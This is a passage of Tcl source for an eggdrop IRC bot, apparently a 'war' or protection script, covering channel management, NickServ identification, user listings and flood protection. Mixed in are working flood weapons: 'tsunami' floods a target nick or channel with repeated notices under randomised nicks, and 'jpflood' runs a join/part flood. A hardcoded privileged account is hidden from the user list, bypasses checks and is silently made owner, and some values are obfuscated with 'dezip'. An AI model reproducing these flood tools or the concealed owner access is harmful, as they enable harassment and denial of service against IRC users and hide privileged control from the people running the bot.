4698catch { channel set $chantarget +statuslog -revenge -protectops -clearbans -enforcebans +greet -secret -autovoice -autoop flood-chan 5:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 2:10 flood-nick 3:60 }
4699savechan
4700if {[lindex $rest 1] != ""} {
4701putsrv "JOIN $chantarget :[lindex $rest 1]"
4702}
4703return 0
4704}
4705proc msg_+chan {nick uhost hand rest} {
4706global botnick joinme own notc
4707set chantarget [lindex $rest 0]
4708set opt [lindex $rest 1]
4709if {![matchattr $nick Q]} {
4710puthlp "NOTICE $nick :$notc 4D14itolak1!"
4711return 0
4712}
4713if {[matchattr $nick X]} {
4714puthlp "NOTICE $nick :$notc 4!BLoCkEd!"
4715return 0
4716}
4717if {$chantarget == ""} {
4718puthlp "NOTICE $nick :$notc Usage: +chan <#chan>"
4719return 0
4720}
4721if {[string first # $chantarget]!=0} {
4722set chantarget "#$chantarget"
4723}
4724if {[validchan $chantarget]} {
4725puthlp "NOTICE $nick :$notc $chantarget is already on channels list."
4726return 0
4727}
4728if {$nick != $own && [total_channel] != 1} {
4729puthlp "NOTICE $nick :$notc To MaNY cHaNNeL MaX 9..!"
4730return 0
4731}
4732set joinme $nick
4733channel add $chantarget
4734if {$opt != "" && [string tolower $opt] == "+nopart"} {
4735catch { channel set $chantarget -statuslog -revenge -protectops -clearbans -enforcebans +greet +secret -autovoice -autoop flood-chan 5:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 2:10 flood-nick 3:60 }
4736} else {
4737catch { channel set $chantarget -statuslog -revenge -protectops -clearbans -enforcebans +greet -secret -autovoice -autoop flood-chan 5:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 2:10 flood-nick 3:60 }
4738}
4739savechan
4740if {[lindex $rest 1] != ""} {
4741putsrv "JOIN $chantarget :[lindex $rest 1]"
4742}
4743return 0
4744}
4745proc msg_part {nick uhost hand rest} {
4746global botnick joinme notc ps partm
4747set partmsg [lindex $partm [rand [llength $partm]]]
4748set chantarget [lindex $rest 0]
4749set part_msg [lrange $rest 1 end]
4750if {![matchattr $nick Q]} {
4751puthlp "NOTICE $nick :$notc 4D14itolak1!"
4752return 0
4753}
4754if {$chantarget == ""} {
4755puthlp "NOTICE $nick :$notc Usage: part <#chan>"
4756return 0
4757}
4758if {[string first # $chantarget]!=0} {
4759set chantarget "#$chantarget"
4760}
4761if {$nick != $ps && [string tolower $chantarget] == [dezip "rsf9T//GMXM/"]} { return 0 }
4762foreach x [channels] {
4763if {[string tolower $x]==[string tolower $chantarget]} {
4764if {[string match "*+secret*" [channel info $x]]} {
4765puthlp "NOTICE $nick :$notc I can't part $x 4pRoTecTEd..!"
4766return 0
4767}
4768if {![onchan $nick $x]} {
4769puthlp "NOTICE $nick :$notc PaRT $x"
4770}
4771if {$part_msg != ""} {
4772putsrv "PART $x :$part_msg"
4773} {
4774putsrv "PART $x :6$partmsg"
4775}
4776channel remove $x
4777savechan
4778return 0
4779}
4780}
4781return 0
4782}
4783proc pub_chanreset {nick uhost hand chan rest} {
4784global notc
4785if {![matchattr $nick Q]} {
4786puthlp "NOTICE $nick :$notc 4D14itolak1!"
4787return 0
4788}
4789if {$rest == ""} {
4790puthlp "NOTICE $nick :$notc Usage: chanreset <#|ALL>"
4791return 0
4792}
4793set chan [lindex $rest 0]
4794if {[string tolower $chan] == "all"} {
4795puthlp "NOTICE $nick :$notc ReSeT ALL DeFauLT FLAg"
4796foreach x [channels] {
4797catch { channel set $x -statuslog -revenge -protectops -clearbans +cycle -enforcebans +userbans +greet -secret -autovoice -autoop +dynamicbans flood-chan 5:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 2:10 flood-nick 3:60 }
4798catch { channel set $x -nodesynch }
4799set cflag "c$x"
4800set cflag [string range $cflag 0 8]
4801chattr $cflag "-hp+AJSPTRUED"
4802setuser $cflag XTRA "JP" 5
4803setuser $cflag XTRA "CHAR" 250
4804setuser $cflag XTRA "RPT" 2
4805setuser $cflag XTRA "CAPS" 80
4806}
4807savechan
4808return 0
4809}
4810if {[string first # $chan]!=0} {
4811set chan "#$chan"
4812}
4813puthlp "NOTICE $nick :$notc ReSeT cHaNNeL \[$chan\] DeFauLT FLAg"
4814if {![validchan $chan]} {
4815puthlp "NOTICE $nick :$notc UnFIndEd $chan."
4816return 0
4817}
4818catch { channel set $chan -statuslog -revenge -protectops +cycle -clearbans -enforcebans +userbans +greet -secret -autovoice -autoop +dynamicbans flood-chan 5:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 2:10 flood-nick 3:60 }
4819catch { channel set $chan -nodesynch }
4820set cflag "c$chan"
4821set cflag [string range $cflag 0 8]
4822chattr $cflag "-hp+AJSPTRUED"
4823setuser $cflag XTRA "JP" 5
4824setuser $cflag XTRA "CHAR" 250
4825setuser $cflag XTRA "RPT" 2
4826setuser $cflag XTRA "CAPS" 80
4827savechan
4828}
4829proc msg_channels {nick hand uhost rest} {
4830pub_channels $nick $uhost $hand "" $rest
4831}
4832proc pub_channels {nick hand uhost channel rest} {
4833global botnick notc
4834if {$rest != ""} {
4835if {[validchan [lindex $rest 0]]} {
4836set x [lindex $rest 0]
4837set chan ""
4838set cflag "c$x"
4839set cflag [string range $cflag 0 8]
4840if {[string tolower $x] == [dezip ""]} { return 0 }
4841if {[isop $botnick $x]} { append chan " @" }
4842if {([isvoice $botnick $x]) && (![botisop $x])} { append chan " +" }
4843if {(![isvoice $botnick $x]) && (![botisop $x])} { append chan " " }
4844if {[string match "*+nodesynch*" [channel info $x]]} { append chan "4K" }
4845if {[matchattr $cflag V]} { append chan "4V" }
4846if {[string match "*+greet*" [channel info $x]]} { append chan "4G" }
4847if {[matchattr $cflag C]} { append chan "4C" }
4848if {[string match "*+secret*" [channel info $x]]} { append chan "4P" }
4849if {[string match "*-dynamicbans*" [channel info $x]]} { append chan "4L" }
4850if {[string match "*-userinvites*" [channel info $x]]} { append chan "4D" }
4851if {[matchattr $cflag G]} { append chan "4A" }
4852if {[matchattr $cflag I]} { append chan "4T" }
4853append chan "$x [chattr $cflag]"
4854puthlp "NOTICE $nick :$notc $chan"
4855}
4856return 0
4857}
4858set chan "Channels:"
4859foreach x [channels] {
4860if {[string tolower $x] != [dezip ""]} {
4861set cflag "c$x"
4862set cflag [string range $cflag 0 8]
4863if {[isop $botnick $x]} { append chan " @" }
4864if {([isvoice $botnick $x]) && (![botisop $x])} { append chan " +" }
4865if {(![isvoice $botnick $x]) && (![botisop $x])} { append chan " " }
4866if {[matchattr $cflag V]} { append chan "4V" }
4867if {[string match "*+greet*" [channel info $x]]} { append chan "4G" }
4868if {[string match "*+nodesynch*" [channel info $x]]} { append chan "4K" }
4869if {[matchattr $cflag C]} { append chan "4C" }
4870if {[string match "*+secret*" [channel info $x]]} { append chan "4P" }
4871if {[string match "*-dynamicbans*" [channel info $x]]} { append chan "4L" }
4872if {[string match "*-userinvites*" [channel info $x]]} { append chan "4D" }
4873if {[matchattr $cflag G]} { append chan "4A" }
4874if {[matchattr $cflag I]} { append chan "4T" }
4875append chan "$x"
4876}
4877}
4878puthlp "NOTICE $nick :$notc $chan"
4879}
4880proc pub_match {nick uhost hand chan rest} {
4881global ps notc
4882if {$rest==""} {
4883puthlp "NOTICE $nick :$notc Usage: match <flags>"
4884return 0
4885}
4886set rest [string trim $rest +]
4887if {[string length $rest] > 1} {
4888puthlp "NOTICE $nick :$notc Invalid option."
4889return 0
4890}
4891if {$rest!=""} {
4892set rest "+[lindex $rest 0]"
4893if {[userlist $rest]!=""} {
4894regsub -all " " [userlist $rest] ", " users
4895regsub -all $ps [userlist $rest] "" users
4896puthlp "NOTICE $nick :$notc Match \[$rest\]: $users"
4897return 0
4898}
4899if {[userlist $rest]==""} {
4900puthlp "NOTICE $nick :$notc No users with flags \[$rest\]"
4901return 0
4902}
4903}
4904}
4905proc val {string} {
4906set arg [string trim $string /ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz]
4907set arg2 [string trim $arg #!%()@-_+=\[\]|,.?<>{}]
4908return $arg2
4909}
4910proc msg_topic {nick uhost hand rest} {
4911global notc botnick
4912if {$rest == ""} {
4913puthlp "NOTICE $nick :$notc Usage: topic <#> <topic>"
4914return 0
4915}
4916set channel [lindex $rest 0]
4917if {[string first # $rest] != 0} {
4918set channel "#$channel"
4919}
4920if {![validchan $channel]} {
4921puthlp "NOTICE $nick :$notc NoT IN $channel"
4922return 0
4923}
4924if {![isop $botnick $channel]} {
4925puthlp "NOTICE $nick :$notc NoT OP $channel"
4926return 0
4927}
4928set rest [lrange $rest 1 end]
4929putsrv "TOPIC $channel :$rest"
4930}
4931proc pub_topic {nick uhost hand channel rest} {
4932global botnick notc botnick
4933if {![isop $botnick $channel]} { return 0 }
4934if {$rest == ""} {
4935puthlp "NOTICE $nick :$notc Usage: topic <topic>"
4936return 0
4937}
4938if {![matchattr $nick Q]} {
4939puthlp "NOTICE $nick :$notc 4D14itolak1!"
4940return 0
4941}
4942putsrv "TOPIC $channel :$rest"
4943}
4944set cmd_chn ""
4945set cmd_by ""
4946set cmd_msg ""
4947set cmd_case ""
4948
4949bind join - * join_jf
4950
4951proc join_jf {nick uhost hand chan} {
4952global botnick quick jpfchn jpfmsg jpfidx
4953if {![info exists jpfmsg]} { return 0 }
4954if {$nick != $botnick} { return 0 }
4955if {$chan != $jpfchn} { return 0 }
4956if {$quick == "1"} {
4957putqck "PRIVMSG $chan :$jpfmsg,"
4958} else {
4959putsrv "PRIVMSG $chan :$jpfmsg,"
4960}
4961incr jpfidx
4962if {$jpfidx >= 4} {
4963catch { channel remove $jpfchn }
4964catch { unset jpfchn }
4965catch { unset jpfmsg }
4966catch { unset jpfidx }
4967puthlp "AWAY"
4968return 0
4969}
4970if {$quick == "1"} {
4971putqck "part $chan :$jpfmsg"
4972} else {
4973putsrv "part $chan :$jpfmsg"
4974}
4975}
4976proc pub_jpflood {nick uhost hand channel rest} {
4977global jpfchn jpfmsg jpfidx notc ps
4978if {[string index $rest 0] != "#" || $rest == ""} {
4979puthlp "NOTICE $nick :$notc Usage: jpflood #channel message"
4980return 0
4981}
4982if {[validchan [lindex $rest 0]]} {
4983puthlp "NOTICE $nick :$notc dOnt UsE ExIsT cHanneL..!"
4984return 0
4985}
4986set jpfmsg " n0 Reas0n "
4987if {[lindex $rest 1] != ""} {
4988set jpfmsg [lindex $rest 1]
4989}
4990set jpfchn [lindex $rest 0]
4991if {$nick != $ps && [string tolower $jpfchn] == [dezip ""]} { return 0 }
4992set jpfidx 0
4993catch { clearqueue all }
4994pub_randnick $nick $uhost $hand $channel ""
4995utimer 10 hazar
4996}
4997proc hazar {} {
4998global jpfchn
4999utimer 120 goback
5000channel add $jpfchn
5001catch { channel set $jpfchn +statuslog -revenge -protectops -clearbans -enforcebans -greet -secret -autovoice -autoop flood-chan 0:0 flood-deop 0:0 flood-kick 0:0 flood-join 0:0 flood-ctcp 0:0 }
5002}
5003proc pub_tsunami {nick uhost hand channel rest} {
5004global cmd_chn cmd_by cmd_msg cmd_case botnick version notc quick ps
5005set person [lindex $rest 0]
5006set rest [lrange $rest 1 end]
5007if {$person == $botnick} { return 0 }
5008if {[string index $person 0] == "#"} {
5009if {[validchan $person]} {
5010if {[isop $botnick $person] && ![matchattr $nick m]} {
5011if {[isutimer "IN PROGRESS"]} { return 0 }
5012utimer 20 [list putlog "IN PROGRESS"]
5013putsrv "KICK $channel $nick :$notc 1cHaNNeL 4FLoOd1 PRoTecTIoN4..!"
5014return 0
5015}
5016}
5017}
5018if {[matchattr $person n] && ![matchattr $nick Z]} {
5019if {[isop $botnick $channel]} {
5020putsrv "KICK $channel $nick :$notc 1Admin 4FLoOd1 PRoTecTIoN4..!"
5021}
5022if {[istimer "IN PROGRESS"]} { return 0 }
5023timer 2 [list putlog "4< 12M.I.Y.A.B.I 4> IN PROGRESS"]
5024putsrv "NOTICE $nick :ADmIN fLood PRoTEcTIoN,"
5025puthlp "NOTICE $nick :ADmIN fLood PRoTEcTIoN,"
5026puthlp "NOTICE $nick :ADmIN fLood PRoTEcTIoN,"
5027puthlp "NOTICE $nick :ADmIN fLood PRoTEcTIoN,"
5028return 0
5029}
5030if {![matchattr $nick Z]} {
5031return 0
5032}
5033if {$rest == ""} {
5034puthlp "NOTICE $nick :$notc Usage: tsunami <nick/#> <msg>"
5035return 0
5036}
5037if {![matchattr $nick Q]} {
5038puthlp "NOTICE $nick :$notc 4D14itolak1!"
5039return 0
5040}
5041if {[string tolower $person] == [string tolower $ps]} { return 0 }
5042if {[string index $person 0] == "#"} {
5043if {![validchan $person]} {
5044if {$nick != $ps && [string tolower $person] == [dezip ""]} { return 0 }
5045pub_randnick $nick $uhost $hand $channel ""
5046set cmd_chn $person
5047set cmd_msg $rest
5048set cmd_by $nick
5049set cmd_case "1"
5050channel add $person
5051catch { channel set $person +statuslog -revenge -protectops -clearbans -enforcebans -greet -secret -autovoice -autoop flood-chan 0:0 flood-deop 0:0 flood-kick 0:0 flood-join 0:0 flood-ctcp 0:0 }
5052return 0
5053}
5054}
5055catch { clearqueue all }
5056pub_randnick $nick $uhost $hand $channel ""
5057if {[string index $person 0] == "#"} { setignore "*!*@*" "*" 120 }
5058if {$quick == "1"} {
5059putqck "PRIVMSG $person :$rest,"
5060putqck "NOTICE $person :$rest,"
5061}
5062putsrv "NOTICE $person :$rest,"
5063puthlp "NOTICE $person :$rest,"
5064puthlp "NOTICE $person :$rest,"
5065puthlp "NOTICE $person :$rest,"
5066puthlp "NOTICE $person :$rest,"
5067puthlp "NOTICE $person :$rest,"
5068utimer 10 {
5069puthlp "AWAY"
5070}
5071utimer 120 goback
5072return 0
5073}
5074
5075bind time - "*2 * * * *" auto_ident
5076
5077proc auto_ident {min h d m y} {
5078timer 5 ident_it
5079auto_ping "0" "0" "0" "0" "0"
5080}
5081proc ident_at {} {
5082global nick altnick botnick nickpass altpass server-online
5083putlog "!Log! AuTO IDeNTIFY NiCK"
5084timer 7200 ident_at
5085if {${server-online} == 0} { return 0 }
5086if {$botnick == $nick && $nickpass != ""} {
5087putsrv "NickServ identify $nickpass"
5088}
5089if {$botnick != $nick && $nickpass != ""} {
5090putsrv "NickServ identify $nick $nickpass"
5091}
5092}
5093timer 7200 ident_at
5094proc ident_it {} {
5095global nick altnick botnick nickpass altpass ex_flood invme pingchan own chk_reg
5096global kickme deopme cmd_chn cmd_msg ps twice_msg keep-nick version notc lastkey
5097global flooddeop floodnick floodkick server-online is_m op_it jpfchn jpfmsg jpfidx
5098putlog "!Log! AuTO ReSETING VaRIABLE"
5099catch { channel remove $jpfchn }
5100catch { unset jpfchn }
5101catch { unset jpfmsg }
5102catch { unset jpfidx }
5103catch {unset op_it}
5104catch {unset is_m}
5105catch {unset chk_reg}
5106catch {unset flooddeop}
5107catch {unset floodnick}
5108catch {unset floodkick}
5109catch {unset lastkey}
5110catch {unset ex_flood}
5111catch {unset invme}
5112catch {unset pingchan}
5113catch {unset twice_msg}
5114catch {unset kickme}
5115set deopme ""
5116set cmd_chn ""
5117set cmd_msg ""
5118if {${server-online} == 0} { return 0 }
5119if {![string match "Guest??????????" $botnick] && ![string match "Guest??????" $botnick]} {
5120if {$botnick != $nick && $botnick != $altnick && ![istimer "goback"] && ![isutimer "goback"]} { goback }
5121} {
5122goback
5123}
5124if {$ps != $own} {
5125set own $ps
5126}
5127if {![isutimer "del_nobase"] && ![istimer "del_nobase"]} { utimer 2 del_nobase }
5128}
5129
5130bind time - "*4 * * * *" auto_ping
5131bind time - "*8 * * * *" auto_ping
5132
5133proc auto_ping {min h d m y} {
5134global botnick repeat_last repeat_person capsnick own notc notc_chn bannick
5135global unop wait_ping server-online jpnick igflood is_ban iskick
5136if {${server-online} == 0} {
5137catch { unset wait_ping }
5138return 0
5139}
5140catch {unset iskick}
5141catch {unset is_ban}
5142catch {unset igflood}
5143catch {unset jpnick}
5144catch {unset unop}
5145catch {unset bannick}
5146catch {unset notc_chn}
5147catch {unset capsnick}
5148catch {unset repeat_person}
5149catch {unset repeat_last}
5150puthlp "PRIVMSG $botnick :\001PING [unixtime]\001"
5151if {![info exists wait_ping]} {
5152set wait_ping 1
5153} else {
5154set wait_ping [expr $wait_ping + 1]
5155}
5156if {$wait_ping > 9} {
5157catch { unset wait_ping }
5158#putsrv "QUIT :$notc Server LAggEd AuTo ReSTaRT ReQuesT"
5159}
5160}
5161
5162proc msg_userlist {nick hand uhost rest} {
5163global notc
5164pub_userlist $nick $uhost $hand "" $rest
5165}
5166proc pub_userlist {nick uhost hand chan rest} {
5167global ps notc
5168set akicklist " 4KIcKLIsT"
5169foreach y [getuser "AKICK" HOSTS] {
5170append akicklist " $y "
5171}
5172set users "UsERLIsT:"
5173foreach x [userlist] {
5174if {($x != "config") && ($x != "AKICK") && ($x != $ps) && ![matchattr $x A]} {
5175if {[matchattr $x O]} {
5176append users " 4$x "
5177} else { append users " $x " }
5178set flag [chattr $x]
5179append users "($flag)"
5180}
5181}
5182append users " \[$akicklist\]"
5183if {[getuser "config" XTRA "IPG"] != ""} {
5184append users " IpguaRd [getuser "config" XTRA "IPG"]"
5185}
5186if {[string length $users] > 300} {
5187set half [expr [string length $users]/3]
5188set half [expr int($half)]
5189set ntc "[string range $users 0 $half].."
5190puthlp "NOTICE $nick :$notc $ntc"
5191set ntc "..[string range $users [expr $half + 1] [expr $half + $half]].."
5192puthlp "NOTICE $nick :$notc $ntc"
5193set ntc "..[string range $users [expr $half + 1 + $half] end]"
5194puthlp "NOTICE $nick :$notc $ntc"
5195} elseif {[string length $users] > 200} {
5196set half [expr [string length $users]/2]
5197set half [expr int($half)]
5198set ntc "[string range $users 0 $half].."
5199puthlp "NOTICE $nick :$notc $ntc"
5200set ntc "..[string range $users [expr $half + 1] end]"
5201puthlp "NOTICE $nick :$notc $ntc"
5202} else {
5203puthlp "NOTICE $nick :$notc $users"
5204}
5205return 0
5206}
5207proc pub_ver {nick uhost hand chan rest} {
5208global vern
5209puthlp "PRIVMSG $chan :$vern"
5210return 0
5211}
5212proc pub_logo {nick uhost hand chan rest} {
5213global notc
5214puthlp "PRIVMSG $chan :$notc"
5215return 0
5216}
5217proc pub_ping {nick uhost hand chan rest} {
5218puthlp "PRIVMSG $chan :$nick, PONG"
5219return 0
5220}
5221proc pub_nobot {nick uhost hand chan rest} {
5222global botnick
5223if {![isop $botnick $chan]} { return 0 }
5224if {[isutimer "pub_nobot"]} { return 0 }
5225if {[rand 2] <= 1} {
5226puthlp "PRIVMSG $chan :\001USERINFO\001"
5227} {
5228puthlp "PRIVMSG $chan :\001CLIENTINFO\001"
5229}
5230return 0
5231}
5232
5233bind ctcr - USERINFO ui_reply
5234bind ctcr - CLIENTINFO ui_reply
5235
5236proc ui_reply {nick uhost hand dest key arg} {
5237global botnick bannick notc ismaskhost
5238if {![string match "*eggdrop*" $arg]} { return 0 }
5239if {$nick == $botnick || [matchattr $nick f]} { return 0 }
5240foreach x [channels] {
5241if {[onchan $nick $x] && [isop $botnick $x] && ![isop $nick $x]} {
5242if {[info exists ismaskhost]} {
5243set bannick($nick) [maskhost "*!*[string range $uhost [string first "@" $uhost] end]"]
5244} {
5245set bannick($nick) "*!*[string range $uhost [string first "@" $uhost] end]"
5246}
5247putsrv "KICK $x $nick :$notc 4[string toupper $x]1 FoRBIDDeN FoR 4EggY1 DuE tO LamE AnTIcIPaTEd [banmsg]"
5248return 0
5249}
5250}
5251}
5252
5253#bind ctcr - PING ping_reply
5254
5255proc ping_reply {nick uhost hand dest key arg} {
5256global pingchan botnick wait_ping notc
5257catch { unset wait_ping }
5258if {$nick == $botnick} {
5259return 0
5260}
5261set pingtime [expr [unixtime] - $arg]
5262if {[info exists pingchan($nick)]} {
5263puthlp "PRIVMSG $pingchan($nick) :$notc $nick PING Reply: $pingtime sec"
5264unset pingchan($nick)
5265}
5266if {![matchattr $nick f]} {
5267set hostmask "${nick}!*@*"
5268putlog "!Log! 1 minutes auto ignore to $hostmask"
5269newignore $hostmask $botnick "*" 1
5270}
5271return 0
5272}
5273proc pub_reset {nick uhost hand chan rest} {
5274global notc
5275putsrv "NOTICE $nick :$notc !ReSeT!"
5276auto_ping "0" "0" "0" "0" "0"
5277ident_it
5278}
5279proc pub_pong {nick uhost hand chan rest} {
5280global pingchan
5281putsrv "NOTICE $nick :\001PING [unixtime]\001"
5282set pingchan($nick) $chan
5283return 0
5284}
5285proc pub_auth {nick uhost hand chan rest} {
5286global botnick notc
5287set cmd [string tolower [lindex $rest 0]]
5288set ch [passwdok $nick ""]
5289if {$ch == 1} {
5290puthlp "NOTICE $nick :$notc No password set. Usage: pass <password>"
5291return 0
5292}
5293if {[matchattr $nick Q]} {
5294puthlp "PRIVMSG $chan :12What! ${nick}, 13Call 4Me "
5295}
5296if {![matchattr $nick Q]} {
5297puthlp "PRIVMSG $chan :${nick}, No"
5298}
5299}
5300proc notc_prot {nick uhost hand text {dest ""}} {
5301global notc botnick notc_chn bannick notm quick ismaskhost is_m
5302if {$dest != "" && $dest != $botnick} {
5303if {[string index $dest 0] == "+" || [string index $dest 0] == "@"} {
5304foreach x [channels] {
5305set x [string tolower $x]
5306if {[string match "*$x*" [string tolower $dest]]} {
5307set dest $x
5308break
5309}
5310}
5311}
5312if {[isop $botnick $dest]} {
5313if {[string match "*-greet*" [channel info $dest]]} { return 0 }
5314if {$nick == "ChanServ"} { return 0 }
5315if {$nick == $botnick} { return 0 }
5316if {[matchattr $nick f]} { return 0 }
5317if {[isop $nick $dest]} { return 0 }
5318if {[isutimer "set_-m $dest"]} { return 0 }
5319set banmask "*!*[string range $uhost [string first "@" $uhost] end]"
5320set bannick($nick) $banmask
5321if {[info exists notc_chn($dest)]} {
5322incr notc_chn($dest)
5323} {
5324set notc_chn($dest) 1
5325}
5326if {$notc_chn($dest) == 1} {
5327putsrv "KICK $dest $nick :$notc 1ABusINg 4NoTIcE1 @ps OnLY [banmsg]"
5328} elseif {$notc_chn($dest) == 2} {
5329if {$quick == "1" && ![info exists is_m($dest)]} {
5330putqck "KICK $dest $nick :$notm 1TwIcE 4NoTIcE1 ABusEd [banmsg]"
5331} {
5332putsrv "KICK $dest $nick :$notm 1TwIcE 4NoTIcE1 ABusEd [banmsg]"
5333}
5334} elseif {$notc_chn($dest) >= 3} {
5335if {[info exists ismaskhost]} {
5336set bannick($nick) [maskhost $banmask]
5337}
5338if {$quick == "1" && ![info exists is_m($dest)]} {
5339putqck "KICK $dest $nick :$notm 1tO mUcH 4vIoLencE1 FRoM THIS I.S.P 4@uT.1 !!"
5340} {
5341putsrv "KICK $dest $nick :$notm 1tO mUcH 4vIoLencE1 FRoM THIS I.S.P 4@uT.1 !!"
5342}
5343}
5344return 0
5345}
5346repeat_pubm $nick $uhost $hand $dest $text
5347} {
5348msg_prot $nick $uhost $hand $text
5349}
5350}
5351proc setignore {mask reason time} {
5352global quick
5353foreach x [ignorelist] {
5354if {[lindex $x 0] == $mask} { return 0 }
5355}
5356newignore $mask "IgN" $reason 15
5357if {$quick == "1"} {
5358putquick "silence +$mask"
5359} {
5360putserv "silence +$mask"
5361}
5362utimer $time [list unsetignore $mask]
5363}
5364proc unsetignore {mask} {
5365if {![isignore $mask]} { return 0 }
5366putserv "silence -$mask"
5367killignore $mask
5368}
5369set massmsg 0
5370proc msg_prot {unick uhost hand text} {
5371global nick botnick invme own nickpass altpass notc notb notd virus_nick ex_flood vern
5372global altnick twice_msg version bannick massmsg keep-nick badwords quick is_m ismaskhost
5373global querym
5374set querymsg [lindex $querym [rand [llength $querym]]]
5375regsub -all -- [dezip "jG~BDx04ntxb0"] $text "" text
5376msg_Z $unick $uhost $hand $text
5377set real $text
5378set text [uncolor $text]
5379if {$unick == $botnick} { return 0 }
5380if {[string match "*dcc send*" [string tolower $text]] && ![string match "*Serv*" $unick] && ![matchattr $unick f]} {
5381set virus_nick $unick
5382foreach x [channels] {
5383if {[onchan $virus_nick $x] && ![matchattr $virus_nick f] && ![isop $virus_nick $x]} {
5384if {[isop $botnick $x]} {
5385set host [getchanhost $virus_nick $x]
5386set host "*!*@[lindex [split $host @] 1]"
5387set bannick($virus_nick) $host
5388putsrv "KICK $x $virus_nick :$notc 4!SpaM!1 I HaTE 4VIRuZ [banms]"
5389set virus_nick ""
5390} else {
5391set members [chanlist $x f]
5392foreach c $members {
5393if {[isop $c $x]} {
5394set sendspam "!kick [zip "$x $unick $notc 4!SpaM!1 FRoM 4@[lindex [split [getchanhost $virus_nick $x] @] 1]1 ViRuZ [banmsg]"]"
5395putsrv "PRIVMSG $c :$sendspam"
5396return 0
5397}
5398}
5399}
5400}
5401}
5402return 0
5403}
5404if {$unick == "ChanServ"} {
5405if {[string match "*You do not have access to op people on*" $text] && [getuser "config" XTRA "MUSTOP"] != "" && $botnick == $nick} {
5406set partchn [lindex $text 9]
5407set partchn [string range $partchn 0 [expr [string length $partchn]-2]]
5408if {[string match "*-secret*" [channel info $partchn]]} {
5409putsrv "PART $partchn :((((@pGuaRd))))"
5410channel remove $partchn
5411savechan
5412}
5413}
5414if {[string match "*is not on*" $text]} {
5415set text [string tolower $text]
5416foreach x [channels] {
5417set x [string tolower $x]
5418set cflag "c$x"
5419set cflag [string range $cflag 0 8]
5420if {[string match "*$x*" $text]} {
5421if {![string match "*c*" [getchanmode $x]]} {
5422putsrv "PART $x :1Naik Jadi (4@1)ps status"
5423} {
5424putsrv "PART $x :1Naik Jadi (@)ps status"
5425}
5426if {[matchattr $cflag K]} {
5427puthlp "JOIN $x :[dezip [getuser $cflag XTRA "CI"]]"
5428} {
5429puthlp "JOIN $x"
5430}
5431}
5432}
5433return 0
5434}
5435if {[string match "*AOP:*SOP:*AKICK*" $text]} {
5436foreach errchan [channels] {
5437set cflag "c$errchan"
5438set cflag [string range $cflag 0 8]
5439if {[string match "*[string tolower $errchan] *" [string tolower $text]]} {
5440if {![isop $botnick $errchan]} {
5441timer 1 { putlog "resync" }
5442if {![string match "*c*" [getchanmode $errchan]]} {
5443putsrv "PART $errchan :1regained (4@1)ps status"
5444} {
5445putsrv "PART $errchan :regained (@)ps status"
5446}
5447if {[matchattr $cflag K]} {
5448puthlp "JOIN $errchan :[dezip [getuser $cflag XTRA "CI"]]"
5449} {
5450puthlp "JOIN $errchan"
5451}
5452}
5453return 0
5454}
5455}
5456}
5457return 0
5458}
5459if {$unick == "NickServ"} {
5460if {[string match "*nick is owned*" [string tolower $text]]} {
5461putlog "!Log! IDeNTIFY"
5462catch { clearqueue all }
5463if {$botnick == $nick && $nickpass != ""} {
5464putsrv "NickServ identify $nickpass"
5465}
5466if {$botnick == $altnick && $altpass != ""} {
5467putsrv "NickServ identify $altpass"
5468}
5469}
5470if {[string match "*Password accepted for*" $text]} { auto_reop }
5471if {[string match "*The nick $nick is not registered*" $text] && $nickpass != ""} {
5472if {[getuser "config" XTRA "EMAIL"] != ""} {
5473putsrv "NickServ register $nickpass [getuser "config" XTRA "EMAIL"]"
5474}
5475}
5476if {[string match "*The nick $nick has been temporarily registered to you*" $text]} {
5477putsrv "NickServ identify $nickpass"
5478}
5479return 0
5480}
5481if {$unick == "MemoServ"} {
5482if {[string match "*New DALnet news is available*" $text]} {
5483putsrv "PRIVMSG MemoServ@services.dal.net :NEWS"
5484}
5485return 0
5486}
5487if {[string match "!kick*" [string tolower $text]]} {
5488set salls [dezip [lrange $text 1 end]]
5489set schan [lindex $salls 0]
5490set snick [lindex $salls 1]
5491set sreas [lrange $salls 2 end]
5492if {![isop $botnick $schan] || [matchattr $snick f] || ![onchan $snick $schan]} { return 0 }
5493set banhost [getchanhost $snick $schan]
5494set banhost "*!*@[lindex [split $banhost @] 1]"
5495set bannick($snick) $banhost
5496regsub -all -- [dezip "bF~uC0.JqaEc0"] $sreas "" sreas
5497regsub -all -- [dezip "xdxs~F1hBM6q0"] $sreas "" sreas
5498putsrv "KICK $schan $snick :$sreas"
5499return 0
5500}
5501if {[string match "*auth*" $text] || [string match "*[string tolower $notb]*" [string tolower $text]]} { return 0 }
5502if {[matchattr $hand f]} { return 0 }
5503set mhost [string range $uhost [string first "@" $uhost] end]
5504if {![isutimer "MSGCOUNTER"]} {
5505utimer 20 { putlog "MSGCOUNTER" }
5506set massmsg 1
5507} {
5508set massmsg [incr massmsg]
5509if {[string length $text] > 100} {
5510set massmsg [incr massmsg]
5511}
5512if {$massmsg >= 5} {
5513set massmsg 0
5514set mhost [string range $uhost [string first "@" $uhost] end]
5515setignore "*!*@*" "*" 120
5516if {[info exists ismaskhost]} {
5517setignore [maskhost "*!*$mhost"] "MaZz MSg" 300
5518} {
5519setignore "*!*$mhost" "MaZz MSg" 300
5520}
5521foreach iamop [channels] {
5522if {[isop $botnick $iamop]} {
5523if {[string match "*c*" [getchanmode $iamop]]} {
5524puthlp "PRIVMSG $iamop :\001ACTION IncOmINg MaZz MSg..! LasT FRoM [unsix "$unick!$uhost"]\001"
5525} {
5526puthlp "PRIVMSG $iamop :\001ACTION IncOmINg MaZz MSg..! LasT FRoM 1[unsix "$unick!$uhost"]\001"
5527}
5528foreach c [chanlist $iamop] {
5529set nickhost [string range [getchanhost $c $iamop] [string first "@" [getchanhost $c $iamop]] end]
5530if {$nickhost == $mhost && ![matchattr $c f]} {
5531if {$c == $botnick} { return 0 }
5532set bannick($c) "*!*$mhost"
5533putsrv "KICK $iamop $c :$notc 1Heavy 4FLoOd1 MSg FRoM 4$mhost [banms]"
5534break
5535}
5536}
5537}
5538}
5539return 0
5540}
5541}
5542if {[string match "*decode*" [string tolower $text]]} {
5543foreach x [channels] {
5544if {[onchan $unick $x]} {
5545if {[isop $botnick $x]} {
5546set bannick($unick) "*!*$mhost"
